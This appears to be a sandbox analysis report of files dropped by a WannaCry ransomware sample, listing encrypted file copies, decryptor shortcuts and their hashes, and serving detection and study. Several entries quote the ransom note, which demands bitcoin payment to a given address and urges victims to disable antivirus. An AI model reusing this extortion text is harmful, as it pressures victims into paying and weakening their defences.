                                                                                                                                                                              SHA1:4530BA15E8BF0503B7045B279E3C298D8B1AADE4
                                                                                                                                                                              SHA-256:0CF51D327581ADBDD1B8F5D1716DE7354FDA0949E711D6EA84610B40BDEECFBF
                                                                                                                                                                              SHA-512:40B0CCBCEA70D239E9D56CC0895EFFEB80E5C164D9599125B5F6F40706480930396DF118EA45666A4CF0071647DFF09AE8B8F807E3F128B10835C23560AB4211
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........+k.bN......j.0]..%...P........G..m.{.u.j...E..5Y.O..y.48..F.en......'..PJ...0...L..g....i.x./....w.3..5...u<J...QS.........Zc+.?.8.0.@.7.p8..m.}.Q..F....b.{.gu.K..oSX(....x.........3..Z.Y...!3..#..!:V.zC.<#Z(7.q...f.>.*>....h....v.+Mo...\.l....80......}L(a.....V..3...j.e<b9.R....x.....,u......n._.lehyG8..`o......g......./..^.a....h^.C....H.H...M..l.K(.<....T.s.ta%B..c7E.?r..4.../...s.W.X.`..AveyJg.'. ..n:.=..E.y...+.Wb..R}=...A.-;H.....'./.R.......v.C.C..=.l; .).h.x.!...<P^.=..`q..(X...}...Y.a.`\.q#,.X.{!...b.(u.cD.<.....F.0..`.0u.X.!^....0..."..(..o....q..\dy.<...q.^7|eJQ..( .L..D..\.(....J.y...O..,u...JX*..+......?.}.(.f....I....zO.j..@q.("...1. .....!Y...`....3..>Ih./..<)y|H.. ..ij..a....SOV..7.4^........m......?...4X.-K.=.ji.f<O.(.N.*....d...`..~f...B.T[v\...'.M.:..L....(L....^7(z./..........6J...B..`g.S.=c.........../gH.r._.U....T.O..OF,ZX.:(....F..7I..h..l..9....*'%v<...{>.d..Y...C&..#+hC.k4....B@....jYN.xn`.....}.

                                                                                                                                                                              C:\ProgramData\Microsoft\User Account Pictures\user.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):6344
                                                                                                                                                                              Entropy (8bit):7.970010563692443
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:o8dQK5oZtWNBJefIqTsmQJ0yC25KfFQUrpSCqnvvciAlH7OIF/SRe3EGAtUhQn/o:GJZoNW255KdtrpSHvvKbxz7wUh2IL7
                                                                                                                                                                              MD5:694D9BC91824BF8859067BBFF6329A5D
                                                                                                                                                                              SHA1:1071423BA9B0A70E7EA2CD05066CABF0B53BAB49
                                                                                                                                                                              SHA-256:A4F0155AEA976A9940E4295E2012F8E464411627081DF94CAE05F85FD174CDC9
                                                                                                                                                                              SHA-512:0EBF3DD8E7D70C265BAF92D1C0505E8C42FEF4313422AEA3F975092E695E5401D0F3807F3B94B40649F47E6F98C335F87EB28F494AAD59F62A3C0FA95526778C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...........V\1V.....N.....4...+.a$LA....f.1....h.._oV..0.g..0p;..t..1h.^.E.?.h.C..{...I"./....D...U....Zc.?./}.3Rr?7.....s.j.K..y;..`.k..~...V.`.........Q..._2..4*...k..S..Q..Z.+85|..J..6.jD'....%..Z.F..oy..2v.t..L..).9....6.....K...W..j............../.#V..`Jj|.8.q/....[..B8.b.c......<-~...E2....8?...U..4.........|..8@.e.......o^...C}....W;.J.j;.o...~........c......y.........F...C..g\u...1..J......../..Xq...e+...a).L..gA>.,..$.+..@f.)..}i..".)...C.i.2.?C....Uo..b`,..g..\$..eY.l-......}....l....}.....q...>.nj.:.zVco6.F.....%.Yx..'....g..M...O.....+...qI..l.k^....TP<.PM.s...........+3..lk|N..B}.{..Ka.....OY.?\..q...6@..?..V..P.V...z..... .F.,UN.#...01.j...}..<..kb./. .X....d...n....V..9........b.L....r.).....!.f.{.B....VE.....l.a&9bj..U..7...j..w'6*..x...!.R.2>R...A(. D?9c.J.@f..6...U...4.i....J...62#...8O....(.....:.F...m...!....fe.&;.....v.4.LU...t.b..+A^..C....?\.`....j.....1=.....p-.i.d.,|e.. ..s?.>l\.G.........`!.b.>

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ThirdPartyNotices.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7000
                                                                                                                                                                              Entropy (8bit):7.97345629246944
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:LmwJWKXSmmJ7pUrAodzSQn3Eb8KAFG4bOrgcy:awJtmHEm8KqGOOjy
                                                                                                                                                                              MD5:0678B8CCCED20EA381DBDC376C6429B3
                                                                                                                                                                              SHA1:AE38E3B0FBC6C72D6DDFD60F9A0121A1B55B3DEB
                                                                                                                                                                              SHA-256:D27B7D223B08E86EC03A11FB5B1EB86D2514A0DEFC0E35EB11D24065DE3A32D5
                                                                                                                                                                              SHA-512:411CAED8B1ADD980BB3EA3B6A2159893245D5280980EB63A3071ED123C6FCD3E4823E164026C8FA14F447AED07846A11E3A470D518868C8580A85C62E52D5E26
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........(...hM...L.NT.o.....0.c..b...gt.....i...6.G09.;&.&..I.X..V6..NV........x....qhI.!.q...C..qs....o..nv.-T.....r.....s.>uzr.6.+t.T..h.+......>....,....I...."-(..:VnX.:..r.JN..D...Z;.....xC../..1....a......e.~(...2?[...=e5...7...j.W)..Kn+......=.......P."unMe.+.a.9M.h..-...+.ft.A.........Q..x@z.....J.J...}rz.~...m6..4..>..w.z..r.[....v.4. )...$.]....=..(.!5D....L.o.*9.).....B<Q..k..c..V.E.%>....I..YMW....TFzD..t.......5P.......o....3.R...U..NvP..,.]B.].u..........+9Abj6[Rs>I...XI.q....._.Y[..| 5....3Up..p...'Q..4..>.8..v..7...........?..>.9.!..3.f9[1.Bkj....nx.K1PC......?.KA/...>.fB.--....W}....3.....J.d...."I&....{...5.&.Hg|...-.1JQJ...ED...?.A....?.h.G.".X;GOI ;5.6nl8s....Z.....l.......p...}.......n...o...uX.:.~.a..X.Z,.q.-v..w..... ..t...s0p$P...|.@..c.[]..^...m..n.......}D.R.\cQ..:y..RD..+@l...p...C.]G........9</..R.K.s....D..\9.#.[m.....g..dr.6a1Yl9......m...T...s..KC.p....wM._...h....^.u:.v....7.(..i.w..C=C+.

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-0488A702D8A6400042FFB1D7ADF4EEF36AD772FD.bin.DB.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1670040
                                                                                                                                                                              Entropy (8bit):7.999884496788857
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:dWA8PBb7ygpWXINIHrNv1YHq/AuSbwTjvX:dWAwp7ygpWY0673cvX
                                                                                                                                                                              MD5:5C0546C682C97EE7FD6310561A2E29CE
                                                                                                                                                                              SHA1:86C46D1871C8EA5A95D0CDF91CBA2C4E7DC490DD
                                                                                                                                                                              SHA-256:7EB52CAACB4E93A232DC64DFEC3D5F648E96D8EBC51C89D6C44AB7EB80F967BD
                                                                                                                                                                              SHA-512:7D41039A20F6EA36E6855A0CEA5EA2A387103A542D3846B42503BA96584CFAA63C1C74A7DDFF0410F963DDFB96445F7323CEAC86AB6D8C8483F5E1837D251F7B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....,.."Ia.......`d.....JozC......MXk....Q)&..."3......K..)...."8..O(.u..f..34...#.n...*.......uV..].?.K`.pH..y.L....`.V.W4r....._../...{..f0U.4U.4.}8.1.{.-._d\u...&F.. o...do`.......{.......t....u...w.-.]...6.b.y}3..o....a.....9.5.@..?T{VW9z......uz.......W ...6.t..O..6.,...d...]y.L....2aa.......O.9*H7.-.8..ey...^....AQI...qSj..F....O..x<.U.....|.Z.<T.&"j.-EH_...h....F\.X$A.J.{.<Og....N.^5..\...ZL.5..[..V..o.K.SC..U.!KR...G..ck........._.S.ob..5...4.N..>fh.....'....`K.4^..V..[H%......R~.4.'..APZ...{....\..-..n0.t`.....(.:....e...7..M{hkjjY\x"...2.{w....W".[..]....mQ ,........n.+....T&....*..........bJ....AW..[..y=..<]....jHM.u..>.Vi.(.....;...%....ctB5_...o.^*R....SSSZE...g.8...\.Q...A.....W.......lC}..6..@.M............t...IN.........Zh...m..*......w.xY`<?..]\bUo.d.b..It.xd....(e.........5...(.(....rcoE..E...1a.'..Br5..P:..s.<'...e....Y.&.^.`....K.....~..`...BTE...(....(.#..E}.0.....:72D...k.}2x^N.#...t..8.>.EEy.#./.,.

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):553240
                                                                                                                                                                              Entropy (8bit):7.999678952583198
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:oAf3iqo1wSPBJPq08YOiuJ0E9Kt6WXEEyjdzOmavhbe:r6qoXBFevaEktAPRz81e
                                                                                                                                                                              MD5:E0CEFE768530EBE09140AF12C628546F
                                                                                                                                                                              SHA1:623D877C269ACBFA9152E9A57C627A243224B1F6
                                                                                                                                                                              SHA-256:05E60F69DB10A173C0EC840051C2335F2F8AB48EB4F8089FA0D5874873424F55
                                                                                                                                                                              SHA-512:343D6CA62542306BD88805DCFDCA47B2CD4A3710388287AE76D841926B11CD20F6273A4AA835952BE26A262AEA3F9D6D9A7E27C7097B78E20685D3B8657D950D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%.=...S..Q.....k.Q.....t.P.Y9.j..q.....;..$....UA..qT....8..0..[:.6.@..oY.dv.....Z.r\..y...-.v<60s.y.V....R+.atZ.F.;..g7.....l..........MXx.[.}e.d..uB{.Kq}..?^.........7. ...).e..;.....|9{t.Q..).:.t+....l.W.q..Ssl%7.(..........w....&.h.....$.....p.......T.F_;RH....$v@.~.f......1s2.W....m.Q^...k.2.$?..k.i.4.*/.2...g. .=x.gK.R...<.z',W>...... .\.=X..........B..'#r...;Y|I.o.....c..|..1.'y.B...p.j[.......H..t.f.).h...L.bAM..,.I.g....o.2.i.VE C.7.s.z...n,.?B..7..t.0.H.).r......^P...?...=.P....F.r;.. ...1..7....}3...hdI.g.....F.>#.L..)".....1..SL.Xr.r....B.V...=..^U.|....8...:cZ.b.%..i&Np.....W+.cp..]..Ev.(....\.iP.......(|L..4.#..Vt.'....|Q.9..8......M;.T...d....D........4.Q..n.M......a0[...l.wFDB.(.@......w.k....7.5Gt.w.c.....UB`..2.HW?.n4..[2.'..9.......z.-%u.w&..j.Y.S.g......6.:L{.....B...4...mrt......Hc>.|..u....<..[.{d,.t.u.K..mk..E....?0....PO..'/S.q....57...E..=4`...i...>..c60..-.A.G5O.. ..T......H.7..#kww....c.A}.

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):89816
                                                                                                                                                                              Entropy (8bit):7.998010369835604
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:A/HwFiE7ZtxOkABbE4DvBYd6lH87ik8aNrRxWBGMFECebB7XJLzLjDM7NDvL/olc:Af7o/MxX9isHIik8x/3ex5zLwtzKPlVc
                                                                                                                                                                              MD5:56E82D7665C9A25CA534E51614258355
                                                                                                                                                                              SHA1:D533E61A08727D9570714EDF3079823630621410
                                                                                                                                                                              SHA-256:50086E10A8432DE22B7BADC1F166B1A3B72F3D20AE47D457C08283E543ED8117
                                                                                                                                                                              SHA-512:ED6FA884476F57FE0DC40D5B362CBE5C79D858E7D918F5CF7ADE00AC13E741CF8939EBC20098C7D7BA97EEA8C47B7CFF1957BB5C9A17B4DD25CCCE1CC4A823CB
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......-....edK.9D....EE....9...2..w1]V..&L.K$.q..F..=Q.s8...@....e.....J.m=........)a..cF...n@.....p.s..I.......2.f].H.,o.%{VVz7&..5.A..TZ.e....!.hx a..11.D..>.x..W....Cc.\=.<.=cR..`........^.(.N...{U......0.R......^...,......>.J../4.K..$.B..|_...-..?......]......).....W.{..X[q7^Y...|..m..5..Z..`...<......mO.C}S...G...3.'9..Z..^3.3L...e,.4.e.,}..s...SN.}[mmf./...D.Hr,B,A....5..RMN6..L...<...D.5..{2z.Ru.-..X.[.......Xva......[]. .Pa.'....qL.~[..*..{..@~.p...d..M.........2.!..a..J.c.0T..R......s....!ox..&.O.,C...l..e.~.(....[...m.$h..X.@.1....4._........O.:D.....^.t...[...p(~:.# p..pQ}.p.......EL.....)i...4...i*.....n.)N.~..\1"....h.\.I.zC.xd..!.T..ibx}..*..G...t@.3..!@|w...ni'.v7....?....O..l..._.m..w.d(..@...w.y..f..t.>.D.D`\.*...e.y>....W.._.~.0 .#i%$L.#E...........6(.+...:{aR.K.m..<..`...b.3!N..L&....o.w.2.j .oi..~#.(...r...H..:..=.KP.+.....@..&....Z.l....8..r.4.;..w....?@T....%...D..>\..6.( .I..|~I'.6Y..B.8.....Q...``z}..g.

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows NT\MSScan\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows NT\MSScan\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):516712
                                                                                                                                                                              Entropy (8bit):7.999648105978089
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:oEfB8q7Ns338ehaZLbzeKUD1PmY/vHlfZ96RS:oA97Ns338yaZyTH/vHM4
                                                                                                                                                                              MD5:93227FFF4EA162A0D8231D32B698B9E3
                                                                                                                                                                              SHA1:D61E7F1F99177086ED324193E762D0676F864FC6
                                                                                                                                                                              SHA-256:E0E4581A2C2C688EAE77C2C0913D835AA428FA71E4A78144DB25E7C982F29256
                                                                                                                                                                              SHA-512:7276E22DE404CFE9D66BADADF88132A56981C7CD98D0FC453A54805088E375F2D095A71D9761C61EF07D394CEE03546D0175680FB4F5F0B2973E120F5925FC11
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....t=ns$.m./...P6.;..f...i..q...J.....R..Ce/....Uc.(:..H.:..&.e.....d..oR#..a.I...].1p..p..PBO.2.._..V....6.+._x.pkNC:......R.{.i...O....S|........S..lH..\..=;g.......[4..."l..>...}*../....~...T.....@|A..[..6...*..QTi..c...}..0|.R....F.bw.L.Q.......H.......;......b...;*].).;..v.0._....#.w.]J>}.L:O.5....%...l.\...*p.OG .N...#..<./..I..{..{g...F..Le.`,e|f{".......^c......r..bod.......@.!.D..~u>d.o..t3.3*........%.w.+h..n@....<..H....."..0..c.E.^.V.n$....v...T!...3"*sU....V.}.(].....q.....[...9....f7.t...>..;o..0.4.8.aK......6=..+..D.U&F...KKK.X..#Xi....s....}.c.vn.j><V.....={L#.V....+/5L.xow.dm[.......\..a...+..y.4.8.y.#~..i.....-.)Kk....|..nS7>.3..U9Vr.l..,.;..:..o.#..).....(8..A.>fCm1.|.........pT.)#...;..Z^.h.A.V$..UF8..8y.+...X5.....^.Ewa>j........#J.z...mF..O.8.'...i.L.JmWk7.......q..r...To....t@z.W...b.g...547G.Q...0....B..^.g..../p!...>.mf.t..U.]..`R.b.x.g......1<.Y.0.AyA..'...-..m.z. .Q.......a...6..#.L-Qm.O}.j..r4..

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16664
                                                                                                                                                                              Entropy (8bit):7.989149017045855
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:RhxcKautGjsJN2oZPSnFRR5SZRZ2qnCQoas9sA+femS3pfW3j/+poxq:HxcXuoja2sKnPHSX2zBsXfez3KWu4
                                                                                                                                                                              MD5:73B53428F452DDB83F3D30304C64A2D2
                                                                                                                                                                              SHA1:7F3F12D24047293C17DF37282DAEF59AA96FEADC
                                                                                                                                                                              SHA-256:E1C371087874F6FEEC12C7E4A786FFAB922ED3ED48817686FC045D821ED5A24D
                                                                                                                                                                              SHA-512:EDFBE57DC523822208B3A08EE280D99EBC208C866D92BB616CAB46E83CC74E63EC7AD9CF548B78FF57A958A1DF98AC7E11743B1E4959C606857BEE987D489709
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
